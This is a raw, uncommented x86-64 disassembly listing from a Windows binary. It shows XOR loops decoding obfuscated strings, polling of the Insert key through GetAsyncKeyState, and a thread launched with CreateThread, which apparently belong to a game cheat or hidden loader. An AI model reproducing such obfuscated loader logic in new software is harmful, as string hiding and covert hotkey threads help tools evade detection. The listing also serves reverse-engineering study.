mov eax, 0x5397829d
mul esi
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, sil
sub al, cl
add al, 0x30
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0xf
jl 0x140046ca0
mov rdx, r9
mov rcx, r10
call fcn.140002730
mov rdx, qword [0x140fb3ee0]
mov rcx, rax
call fcn.140009910
mov rcx, rax
call fcn.140002370
lea rcx, [0x140060e4c]
call fcn.140015634
lea rdx, [rsp + 0x40]
call fcn.140044140
mov r10, rax
cmp byte [rax + 0x16], 0
je 0x140046e60
vmovdqu xmm7, xmmword [0x140061ed0]
mov r8d, edi
vmovdqu xmm6, xmmword [0x140062020]
vmovd xmm8, r15d
vmovdqu xmm9, xmmword [0x140061f20]
vmovd xmm10, r12d
vmovdqu xmm0, xmmword [0x140061fe0]
vmovdqu xmmword [rsp + 0xc0], xmm0
mov rcx, rax
mov edx, dword [rsp + 0xc0]
nop dword [rax + rax]
vmovd xmm0, r8d
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, edx
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx], xmm1
lea eax, [r8 + 4]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vmovd xmm0, dword [rcx + 4]
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx + 4], xmm1
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140046d50
cmp r8d, 0x17
jge 0x140046e60
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140046e30
mov rdx, r10
lea rcx, [0x1401a2680]
call fcn.140002730
mov rcx, rax
call fcn.140002370
mov ecx, 0x2d
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x140046eab
nop word [rax + rax]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x2d
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140046e90
lea rdx, [rsp + 0x40]
call fcn.1400440f0
mov r10, rax
cmp byte [rax + 0x1e], 0
je 0x140047018
vmovdqu xmm7, xmmword [0x140061ed0]
mov r8d, edi
vmovdqu xmm6, xmmword [0x140062020]
vmovd xmm8, r15d
vmovdqu xmm9, xmmword [0x140061f20]
vmovd xmm10, r12d
vmovdqu xmm0, xmmword [0x140061fe0]
vmovdqu xmmword [rsp + 0xc0], xmm0
mov rcx, rax
mov edx, dword [rsp + 0xc0]
vmovd xmm0, r8d
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, edx
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx], xmm1
lea eax, [r8 + 4]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vmovd xmm0, dword [rcx + 4]
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx + 4], xmm1
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140046f02
cmp r8d, 0x1f
jge 0x140047018
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, r8b
sub al, dl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jge 0x140047018
jmp 0x140046fe0
call fcn.140015b9c
int3
mov rdx, r10
lea rcx, [0x1401a2680]
call fcn.140002730
mov rcx, rax
call fcn.140002370
mov ecx, 0x18
call fcn.14000f0d4
mov rcx, rax
mov qword [rsp + 0x40], rax
call fcn.1400095f0
call fcn.1400073d0
nop
mov qword [0x1401a3ec0], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x1400437a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.14004a4d0
call fcn.140049fc0
int3
vzeroupper
call fcn.140015b9c
int3
call fcn.140015b9c
nop
call fcn.140015b9c
nop
call fcn.140015b9c
nop
call fcn.140015b9c
nop
call fcn.140015b9c
nop
call fcn.140015b9c
int3
call fcn.140015b9c
nop
call fcn.140015b9c
int3